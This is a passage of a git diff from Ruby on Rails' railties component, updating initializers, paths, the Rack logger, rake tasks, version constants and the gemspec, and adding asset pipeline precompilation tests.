'tmp/performance', :formats => [:flat] } - + def test_homepage get '/' end diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb index 01fe6dda7a..9ec2e34545 100644 --- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb +++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb @@ -26,23 +26,23 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase end test "should show <%= singular_table_name %>" do - get :show, <%= key_value :id, "@#{singular_table_name}.to_param" %> + get :show, <%= key_value :id, "@#{singular_table_name}" %> assert_response :success end test "should get edit" do - get :edit, <%= key_value :id, "@#{singular_table_name}.to_param" %> + get :edit, <%= key_value :id, "@#{singular_table_name}" %> assert_response :success end test "should update <%= singular_table_name %>" do - put :update, <%= key_value :id, "@#{singular_table_name}.to_param" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %> + put :update, <%= key_value :id, "@#{singular_table_name}" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %> assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>)) end test "should destroy <%= singular_table_name %>" do assert_difference('<%= class_name %>.count', -1) do - delete :destroy, <%= key_value :id, "@#{singular_table_name}.to_param" %> + delete :destroy, <%= key_value :id, "@#{singular_table_name}" %> end assert_redirected_to <%= index_helper %>_path diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb index d05e031f56..a1e15092b2 100644 --- a/railties/lib/rails/info.rb +++ b/railties/lib/rails/info.rb @@ -78,6 +78,10 @@ module Rails Rails::VERSION::STRING end + property 'JavaScript Runtime' do + ExecJS.runtime.name + end + # Versions of each Rails framework (Active Record, Action Pack, # Active Resource, Action Mailer, and Active Support). frameworks.each do |framework| diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb index 686a2dc0cb..04d5b55c69 100644 --- a/railties/lib/rails/initializable.rb +++ b/railties/lib/rails/initializable.rb @@ -10,6 +10,7 @@ module Rails attr_reader :name, :block def initialize(name, context, options, &block) + options[:group] ||= :default @name, @context, @options, @block = name, context, options, block end @@ -21,6 +22,10 @@ module Rails @options[:after] end + def belongs_to?(group) + @options[:group] == group || @options[:group] == :all + end + def run(*args) @context.instance_exec(*args, &block) end @@ -44,10 +49,10 @@ module Rails end end - def run_initializers(*args) + def run_initializers(group=:default, *args) return if instance_variable_defined?(:@ran) initializers.tsort.each do |initializer| - initializer.run(*args) + initializer.run(*args) if initializer.belongs_to?(group) end @ran = true end diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb index 5d217dcb10..b37421c09c 100644 --- a/railties/lib/rails/paths.rb +++ b/railties/lib/rails/paths.rb @@ -2,39 +2,21 @@ require 'set' module Rails module Paths - module PathParent #:nodoc: - def method_missing(id, *args) - match = id.to_s.match(/^(.*)=$/) - full = [@current, $1 || id].compact.join("/") - - ActiveSupport::Deprecation.warn 'config.paths.app.controller API is deprecated in ' << - 'favor of config.paths["app/controller"] API.' - - if match || args.any? - @root[full] = Path.new(@root, full, *args) - elsif path = @root[full] - path - else - super - end - end - end - - # This object is an extended hash that behaves as root of the Rails::Paths system. + # This object is an extended hash that behaves as root of the <tt>Rails::Paths</tt> system. # It allows you to collect information about how you want to structure your application # paths by a Hash like API. It requires you to give a physical path on initialization. # - # root = Root.new + # root = Root.new "/rails" # root.add "app/controllers", :eager_load => true # # The command above creates a new root object and add "app/controllers" as a path. - # This means we can get a Path object back like below: + # This means we can get a +Rails::Paths::Path+ object back like below: # # path = root["app/controllers"] # path.eager_load? # => true # path.is_a?(Rails::Paths::Path) # => true # - # The Path object is simply an array and allows you to easily add extra paths: + # The +Path+ object is simply an array and allows you to easily add extra paths: # # path.is_a?(Array) # => true # path.inspect # => ["app/controllers"] @@ -42,32 +24,30 @@ module Rails # path << "lib/controllers" # path.inspect # => ["app/controllers", "lib/controllers"] # - # Notice that when you add a path using #add, the path object created already - # contains the path with the same path value given to #add. In some situations, + # Notice that when you add a path using +add+, the path object created already + # contains the path with the same path value given to +add+. In some situations, # you may not want this behavior, so you can give :with as option. # # root.add "config/routes", :with => "config/routes.rb" # root["config/routes"].inspect # => ["config/routes.rb"] # - # #add also accepts the following options as argument: eager_load, autoload, - # autoload_once and glob. + # The +add+ method accepts the following options as arguments: + # eager_load, autoload, autoload_once and glob. # - # Finally, the Path object also provides a few helpers: + # Finally, the +Path+ object also provides a few helpers: # - # root = Root.new - # root.path = "/rails" + # root = Root.new "/rails" # root.add "app/controllers" # # root["app/controllers"].expanded # => ["/rails/app/controllers"] # root["app/controllers"].existent # => ["/rails/app/controllers"] # - # Check the Path documentation for more information. + # Check the <tt>Rails::Paths::Path</tt> documentation for more information. class Root < ::Hash - include PathParent attr_accessor :path def initialize(path) - raise if path.is_a?(Array) + raise "Argument should be a String of the physical root path" if path.is_a?(Array) @current = nil @path = path @root = self @@ -121,8 +101,6 @@ module Rails end class Path < Array - include PathParent - attr_reader :path attr_accessor :glob @@ -179,7 +157,7 @@ module Rails path = File.expand_path(p, @root.path) if @glob - result.concat Dir[File.join(path, @glob)] + result.concat Dir[File.join(path, @glob)].sort else result << path end @@ -194,9 +172,8 @@ module Rails expanded.select { |f| File.exists?(f) } end - def paths - ActiveSupport::Deprecation.warn "paths is deprecated. Please call expand instead." - expanded + def existent_directories + expanded.select { |d| File.directory?(d) } end alias to_a expanded diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb index ceddd25eaa..3e27688bb9 100644 --- a/railties/lib/rails/plugin.rb +++ b/railties/lib/rails/plugin.rb @@ -74,7 +74,8 @@ module Rails initializer :load_init_rb, :before => :load_config_initializers do |app| init_rb = File.expand_path("init.rb", root) if File.file?(init_rb) - config = app.config + # This double assignment is to prevent an "unused variable" warning on Ruby 1.9.3. + config = config = app.config # TODO: think about evaling initrb in context of Engine (currently it's # always evaled in context of Rails::Application) eval(File.read(init_rb), binding, init_rb) diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb index 1f20ceae44..d1ee96f7fd 100644 --- a/railties/lib/rails/rack.rb +++ b/railties/lib/rails/rack.rb @@ -1,8 +1,7 @@ module Rails module Rack - autoload :Debugger, "rails/rack/debugger" - autoload :Logger, "rails/rack/logger" - autoload :LogTailer, "rails/rack/log_tailer" - autoload :Static, "rails/rack/static" + autoload :Debugger, "rails/rack/debugger" + autoload :Logger, "rails/rack/logger" + autoload :LogTailer, "rails/rack/log_tailer" end end diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb index 06e23db5f1..831188eeee 100644 --- a/railties/lib/rails/rack/debugger.rb +++ b/railties/lib/rails/rack/debugger.rb @@ -1,5 +1,3 @@ -require 'active_support/core_ext/kernel/requires' - module Rails module Rack class Debugger @@ -8,11 +6,12 @@ module Rails ARGV.clear # clear ARGV so that rails server options aren't passed to IRB - require_library_or_gem 'ruby-debug' + require 'ruby-debug' + ::Debugger.start ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings) puts "=> Debugger enabled" - rescue Exception + rescue LoadError puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'" exit end diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb index 3be262de08..89de10c83d 100644 --- a/railties/lib/rails/rack/logger.rb +++ b/railties/lib/rails/rack/logger.rb @@ -1,32 +1,46 @@ require 'active_support/core_ext/time/conversions' +require 'active_support/core_ext/object/blank' module Rails module Rack # Log the request started and flush all loggers after it. class Logger < ActiveSupport::LogSubscriber - def initialize(app) - @app = app + def initialize(app, tags=nil) + @app, @tags = app, tags.presence end def call(env) - before_dispatch(env) - @app.call(env) - ensure - after_dispatch(env) + if @tags + Rails.logger.tagged(compute_tags(env)) { call_app(env) } + else + call_app(env) + end end protected - def before_dispatch(env) + def call_app(env) request = ActionDispatch::Request.new(env) path = request.filtered_path - - info "\n\nStarted #{request.request_method} \"#{path}\" " \ - "for #{request.ip} at #{Time.now.to_default_s}" + Rails.logger.info "\n\nStarted #{request.request_method} \"#{path}\" for #{request.ip} at #{Time.now.to_default_s}" + @app.call(env) + ensure + ActiveSupport::LogSubscriber.flush_all! end - def after_dispatch(env) - ActiveSupport::LogSubscriber.flush_all! + def compute_tags(env) + request = ActionDispatch::Request.new(env) + + @tags.collect do |tag| + case tag + when Proc + tag.call(request) + when Symbol + request.send(tag) + else + tag + end + end end end end diff --git a/railties/lib/rails/rack/static.rb b/railties/lib/rails/rack/static.rb deleted file mode 100644 index ebe8b9e103..0000000000 --- a/railties/lib/rails/rack/static.rb +++ /dev/null @@ -1,5 +0,0 @@ -require 'action_dispatch' - -module Rails::Rack - Static = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('Rails::Rack::Static', ActionDispatch::Static) -end diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb index b183eb8ddd..e8fb1f3d98 100644 --- a/railties/lib/rails/railtie.rb +++ b/railties/lib/rails/railtie.rb @@ -1,6 +1,8 @@ require 'rails/initializable' require 'rails/configuration' require 'active_support/inflector' +require 'active_support/core_ext/module/introspection' +require 'active_support/core_ext/module/delegation' module Rails # Railtie is the core of the Rails framework and provides several hooks to extend @@ -83,7 +85,7 @@ module Rails # == Loading rake tasks and generators # # If your railtie has rake tasks, you can tell Rails to load them through the method - # rake tasks: + # rake_tasks: # # class MyRailtie < Rails::Railtie # rake_tasks do @@ -173,23 +175,28 @@ module Rails def eager_load! end - def load_console(sandbox=false) - self.class.console.each { |block| block.call(sandbox) } + def load_console(app=self) + self.class.console.each { |block| block.call(app) } end - def load_tasks - self.class.rake_tasks.each(&:call) + def load_tasks(app=self) + extend Rake::DSL if defined? Rake::DSL + self.class.rake_tasks.each { |block| block.call(app) } # load also tasks from all superclasses klass = self.class.superclass while klass.respond_to?(:rake_tasks) - klass.rake_tasks.each { |t| self.instance_exec(&t) } + klass.rake_tasks.each { |t| self.instance_exec(app, &t) } klass = klass.superclass end end - def load_generators - self.class.generators.each(&:call) + def load_generators(app=self) + self.class.generators.each { |block| block.call(app) } + end + + def railtie_namespace + @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:_railtie) } end end end diff --git a/railties/lib/rails/railtie/configurable.rb b/railties/lib/rails/railtie/configurable.rb index 920ab67ff1..53796c74cf 100644 --- a/railties/lib/rails/railtie/configurable.rb +++ b/railties/lib/rails/railtie/configurable.rb @@ -1,3 +1,5 @@ +require 'active_support/concern' + module Rails class Railtie module Configurable diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb index bfd2a73aeb..f888684117 100644 --- a/railties/lib/rails/railtie/configuration.rb +++ b/railties/lib/rails/railtie/configuration.rb @@ -26,11 +26,6 @@ module Rails @@app_generators end - def generators(&block) #:nodoc - ActiveSupport::Deprecation.warn "config.generators in Rails::Railtie is deprecated. Please use config.app_generators instead." - app_generators(&block) - end - # First configurable block to run. Called before any initializers are run. def before_configuration(&block) ActiveSupport.on_load(:before_configuration, :yield => true, &block) diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb index 6d6e7f8b59..1eed763aa3 100644 --- a/railties/lib/rails/source_annotation_extractor.rb +++ b/railties/lib/rails/source_annotation_extractor.rb @@ -28,9 +28,9 @@ class SourceAnnotationExtractor end end - # Prints all annotations with tag +tag+ under the root directories +app+, +lib+, - # and +test+ (recursively). Only filenames with extension +.builder+, +.rb+, - # +.rxml+, +.rhtml+, or +.erb+ are taken into account. The +options+ + # Prints all annotations with tag +tag+ under the root directories +app+, +config+, +lib+, + # +script+, and +test+ (recursively). Only filenames with extension + # +.builder+, +.rb+, +.rxml+, +.rhtml+, or +.erb+ are taken into account. The +options+ # hash is passed to each annotation's +to_s+. # # This class method is the single entry point for the rake tasks. @@ -49,7 +49,7 @@ class SourceAnnotationExtractor # with their annotations. Only files with annotations are included, and only # those with extension +.builder+, +.rb+, +.rxml+, +.rhtml+, and +.erb+ # are taken into account. - def find(dirs=%w(app lib test)) + def find(dirs=%w(app config lib script test)) dirs.inject({}) { |h, dir| h.update(find_in(dir)) } end diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb index 166d518f7c..9807000578 100644 --- a/railties/lib/rails/tasks.rb +++ b/railties/lib/rails/tasks.rb @@ -3,7 +3,6 @@ $VERBOSE = nil # Load Rails rakefile extensions %w( annotations - assets documentation framework log diff --git a/railties/lib/rails/tasks/assets.rake b/railties/lib/rails/tasks/assets.rake deleted file mode 100644 index 158df31749..0000000000 --- a/railties/lib/rails/tasks/assets.rake +++ /dev/null @@ -1,10 +0,0 @@ -namespace :assets do - desc "Compile all the assets named in config.assets.precompile" - task :precompile => :environment do - # Give assets access to asset_path - ActionView::Helpers::SprocketsHelper - - assets = Rails.application.config.assets.precompile - Rails.application.assets.precompile(*assets) - end -end diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake index edd716d7d0..ca8875ad9b 100644 --- a/railties/lib/rails/tasks/documentation.rake +++ b/railties/lib/rails/tasks/documentation.rake @@ -1,7 +1,15 @@ -require 'rake/rdoctask' +begin + require 'rdoc/task' +rescue LoadError + require 'rdoc/rdoc' + require 'rake/rdoctask' + RDoc::Task = Rake::RDocTask +end # Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise -class RDocTaskWithoutDescriptions < Rake::RDocTask +class RDocTaskWithoutDescriptions < RDoc::Task + include ::Rake::DSL + def define task rdoc_task_name @@ -41,7 +49,7 @@ namespace :doc do rdoc.rdoc_dir = 'doc/app' rdoc.template = ENV['template'] if ENV['template'] rdoc.title = ENV['title'] || "Rails Application Documentation" - rdoc.options << '--line-numbers' << '--inline-source' + rdoc.options << '--line-numbers' rdoc.options << '--charset' << 'utf-8' rdoc.rdoc_files.include('doc/README_FOR_APP') rdoc.rdoc_files.include('app/**/*.rb') @@ -54,7 +62,7 @@ namespace :doc do rdoc.rdoc_dir = 'doc/api' rdoc.template = "#{ENV['template']}.rb" if ENV['template'] rdoc.title = "Rails Framework Documentation" - rdoc.options << '--line-numbers' << '--inline-source' + rdoc.options << '--line-numbers' rdoc.rdoc_files.include('README') gem_path('actionmailer') do |actionmailer| @@ -127,7 +135,7 @@ namespace :doc do files = Rake::FileList.new options << "-o doc/plugins/#{plugin}" options << "--title '#{plugin.titlecase} Plugin Documentation'" - options << '--line-numbers' << '--inline-source' + options << '--line-numbers' options << '--charset' << 'utf-8' options << '-T html' diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake index 2f0e7be896..eea8abe7d2 100644 --- a/railties/lib/rails/tasks/engine.rake +++ b/railties/lib/rails/tasks/engine.rake @@ -2,6 +2,7 @@ task "load_app" do namespace :app do load APP_RAKEFILE end + task :environment => "app:environment" if !defined?(ENGINE_PATH) || !ENGINE_PATH ENGINE_PATH = find_engine_path(APP_RAKEFILE) @@ -67,3 +68,5 @@ def find_engine_path(path) find_engine_path(File.expand_path('..', path)) end end + +Rake.application.invoke_task(:load_app) diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake index 77a5c4dc6c..206ce39773 100644 --- a/railties/lib/rails/tasks/framework.rake +++ b/railties/lib/rails/tasks/framework.rake @@ -2,14 +2,14 @@ namespace :rails do desc "Update configs and some other initially generated files (or use just update:configs, update:scripts, or update:application_controller)" task :update => [ "update:configs", "update:scripts", "update:application_controller" ] - desc "Applies the template supplied by LOCATION=/path/to/template" + desc "Applies the template supplied by LOCATION=(/path/to/template) or URL" task :template do template = ENV["LOCATION"] + raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank? template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://} - require 'rails/generators' require 'rails/generators/rails/app/app_generator' - generator = Rails::Generators::AppGenerator.new [ Rails.root ], {}, :destination_root => Rails.root + generator = Rails::Generators::AppGenerator.new [Rails.root], {}, :destination_root => Rails.root generator.apply template, :verbose => false end diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake index e505b8c338..0dcca36d8b 100644 --- a/railties/lib/rails/tasks/misc.rake +++ b/railties/lib/rails/tasks/misc.rake @@ -1,5 +1,3 @@ -task :default => :test - task :rails_env do # TODO Do we really need this? unless defined? RAILS_ENV @@ -9,12 +7,12 @@ end desc 'Generate a cryptographically secure secret key (this is typically used to generate a secret for cookie sessions).' task :secret do - require 'active_support/secure_random' - puts ActiveSupport::SecureRandom.hex(64) + require 'securerandom' + puts SecureRandom.hex(64) end desc 'List versions of all Rails frameworks and the environment' -task :about do +task :about => :environment do puts Rails::Info end diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake index a0c953967c..7dc54144da 100644 --- a/railties/lib/rails/tasks/routes.rake +++ b/railties/lib/rails/tasks/routes.rake @@ -3,27 +3,7 @@ task :routes => :environment do Rails.application.reload_routes! all_routes = Rails.application.routes.routes - if ENV['CONTROLLER'] - all_routes = all_routes.select{ |route| route.defaults[:controller] == ENV['CONTROLLER'] } - end - - routes = all_routes.collect do |route| - - reqs = route.requirements.dup - reqs[:to] = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ - reqs = reqs.empty? ? "" : reqs.inspect - - {:name => route.name.to_s, :verb => route.verb.to_s, :path => route.path, :reqs => reqs} - end - - # Skip the route if it's internal info route - routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } - - name_width = routes.map{ |r| r[:name].length }.max - verb_width = routes.map{ |r| r[:verb].length }.max - path_width = routes.map{ |r| r[:path].length }.max - - routes.each do |r| - puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" - end + require 'rails/application/route_inspector' + inspector = Rails::Application::RouteInspector.new + puts inspector.format(all_routes, ENV['CONTROLLER']).join "\n" end diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake index 3ee5452475..0d6c10328f 100644 --- a/railties/lib/rails/tasks/tmp.rake +++ b/railties/lib/rails/tasks/tmp.rake @@ -4,7 +4,7 @@ namespace :tmp do desc "Creates tmp directories for sessions, cache, sockets, and pids" task :create do - FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids )) + FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids tmp/cache/assets )) end namespace :sessions do diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb index 41485c8bac..8d0d8cacac 100644 --- a/railties/lib/rails/test_help.rb +++ b/railties/lib/rails/test_help.rb @@ -3,7 +3,6 @@ abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production? require 'test/unit' -require 'active_support/core_ext/kernel/requires' require 'active_support/test_case' require 'action_controller/test_case' require 'action_dispatch/testing/integration' @@ -25,7 +24,7 @@ if defined?(MiniTest) end end -if defined?(ActiveRecord) +if defined?(ActiveRecord::Base) require 'active_record/test_case' class ActiveSupport::TestCase diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake index 28dc40379b..3d87529ad4 100644 --- a/railties/lib/rails/test_unit/testing.rake +++ b/railties/lib/rails/test_unit/testing.rake @@ -61,6 +61,7 @@ end # Recreated here from Active Support because :uncommitted needs it before Rails is available module Kernel + remove_method :silence_stderr # Removing old method to prevent method redefined warning def silence_stderr old_stderr = STDERR.dup STDERR.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null') @@ -71,6 +72,8 @@ module Kernel end end +task :default => :test + desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile, test:plugins)' task :test do tests_to_run = ENV['TEST'] ? ["test:single"] : %w(test:units test:functionals test:integration) @@ -79,10 +82,14 @@ task :test do Rake::Task[task].invoke nil rescue => e - task + { :task => task, :exception => e } end end.compact - abort "Errors running #{errors * ', '}!" if errors.any? + + if errors.any? + puts errors.map { |e| "Errors running #{e[:task]}! #{e[:exception].inspect}" }.join("\n") + abort + end end namespace :test do @@ -104,9 +111,9 @@ namespace :test do Rake::TestTask.new(:uncommitted => "test:prepare") do |t| def t.file_list if File.directory?(".svn") - changed_since_checkin = silence_stderr { `svn status` }.map { |path| path.chomp[7 .. -1] } + changed_since_checkin = silence_stderr { `svn status` }.split.map { |path| path.chomp[7 .. -1] } elsif File.directory?(".git") - changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.map { |path| path.chomp } + changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.split.map { |path| path.chomp } else abort "Not a Subversion or Git checkout." end diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb index fc6c0a0204..254227ecf7 100644 --- a/railties/lib/rails/version.rb +++ b/railties/lib/rails/version.rb @@ -1,9 +1,9 @@ module Rails module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/railties/railties.gemspec b/railties/railties.gemspec index 4404838670..b917128885 100644 --- a/railties/railties.gemspec +++ b/railties/railties.gemspec @@ -11,16 +11,19 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'rails' s.files = Dir['CHANGELOG', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}'] s.require_path = 'lib' + s.bindir = 'bin' + s.executables = ['rails'] + s.rdoc_options << '--exclude' << '.' s.add_dependency('rake', '>= 0.8.7') s.add_dependency('thor', '~> 0.14.6') s.add_dependency('rack-ssl', '~> 1.3.2') + s.add_dependency('rdoc', '~> 3.4') s.add_dependency('activesupport', version) s.add_dependency('actionpack', version) end diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb index 8b38081667..1c3f8a701a 100644 --- a/railties/test/abstract_unit.rb +++ b/railties/test/abstract_unit.rb @@ -10,7 +10,6 @@ require 'active_support/core_ext/logger' require 'action_controller' require 'rails/all' -# TODO: Remove these hacks module TestApp class Application < Rails::Application config.root = File.dirname(__FILE__) diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb new file mode 100644 index 0000000000..1b99af22a4 --- /dev/null +++ b/railties/test/application/asset_debugging_test.rb @@ -0,0 +1,65 @@ +require 'isolation/abstract_unit' +require 'rack/test' + +module ApplicationTests + class AssetDebuggingTest < Test::Unit::TestCase + include ActiveSupport::Testing::Isolation + include Rack::Test::Methods + + def setup + build_app(:initializers => true) + + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + app_file "app/controllers/posts_controller.rb", <<-RUBY + class PostsController < ActionController::Base + end + RUBY + + ENV["RAILS_ENV"] = "production" + + boot_rails + end + + def teardown + teardown_app + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + capture(:stdout) do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_file "config/initializers/compile.rb", "Rails.application.config.assets.compile = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + end +end diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb index 98a702f134..d4ffbe3d66 100644 --- a/railties/test/application/assets_test.rb +++ b/railties/test/application/assets_test.rb @@ -1,22 +1,34 @@ +# -*- coding: utf-8 -*- require 'isolation/abstract_unit' +require 'active_support/core_ext/kernel/reporting' require 'rack/test' module ApplicationTests - class RoutingTest < Test::Unit::TestCase + class AssetsTest < Test::Unit::TestCase include ActiveSupport::Testing::Isolation include Rack::Test::Methods def setup - build_app + build_app(:initializers => true) boot_rails end + def teardown + teardown_app + end + def app @app ||= Rails.application end + def precompile! + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + end + test "assets routes have higher priority" do - app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do @@ -27,7 +39,290 @@ module ApplicationTests require "#{app_path}/config/environment" get "/assets/demo.js" + assert_equal 'a = "/assets/rails.png";', last_response.body.strip + end + + test "assets do not require compressors until it is used" do + app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_env_config "production", "config.assets.compile = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + assert !defined?(Uglifier) + get "/assets/demo.js" assert_match "alert()", last_response.body + assert defined?(Uglifier) + end + + test "precompile creates the file, gives it the original asset's content and run in production as default" do + app_file "app/assets/javascripts/application.js", "alert();" + app_file "app/assets/javascripts/foo/application.js", "alert();" + + ENV["RAILS_ENV"] = nil + precompile! + + files = Dir["#{app_path}/public/assets/application-*.js"] + files << Dir["#{app_path}/public/assets/application.js"].first + files << Dir["#{app_path}/public/assets/foo/application-*.js"].first + files << Dir["#{app_path}/public/assets/foo/application.js"].first + files.each do |file| + assert_not_nil file, "Expected application.js asset to be generated, but none found" + assert_equal "alert()", File.read(file) + end + end + + test "precompile application.js and application.css and all other files not ending with .js or .css by default" do + app_file "app/assets/javascripts/application.js", "alert();" + app_file "app/assets/stylesheets/application.css", "body{}" + + app_file "app/assets/javascripts/someapplication.js", "alert();" + app_file "app/assets/stylesheets/someapplication.css", "body{}" + + app_file "app/assets/javascripts/something.min.js", "alert();" + app_file "app/assets/stylesheets/something.min.css", "body{}" + + images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png", + "happy-face.png", "happy.happy_face.png", "happy_happy.face.png", + "happy.happy.face.png", "happy", "happy.face", "-happyface", + "-happy.png", "-happy.face.png", "_happyface", "_happy.face.png", + "_happy.png"] + + images_should_compile.each do |filename| + app_file "app/assets/images/#{filename}", "happy" + end + + precompile! + + images_should_compile.each do |filename| + assert File.exists?("#{app_path}/public/assets/#{filename}") + end + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + assert !File.exists?("#{app_path}/public/assets/someapplication.js") + assert !File.exists?("#{app_path}/public/assets/someapplication.css") + + assert !File.exists?("#{app_path}/public/assets/something.min.js") + assert !File.exists?("#{app_path}/public/assets/something.min.css") + end + + test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do + add_to_config "config.assets.digest = true" + add_to_config "config.action_controller.perform_caching = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + assert_equal Sprockets::Index, Rails.application.assets.class + end + + test "precompile creates a manifest file with all the assets listed" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + + precompile! + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "precompile creates a manifest file in a custom path with all the assets listed" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.manifest = '#{app_path}/shared'" + + precompile! + manifest = "#{app_path}/shared/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "the manifest file should be saved by default in the same assets folder" do + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.prefix = '/x'" + + precompile! + + manifest = "#{app_path}/public/x/manifest.yml" + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + end + + test "precompile does not append asset digests when config.assets.digest is false" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + add_to_config "config.assets.digest = false" + + precompile! + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_equal "application.js", assets["application.js"] + assert_equal "application.css", assets["application.css"] + end + + test "assets do not require any assets group gem when manifest file is present" do + app_file "app/assets/javascripts/application.js", "alert();" + add_to_env_config "production", "config.serve_static_assets 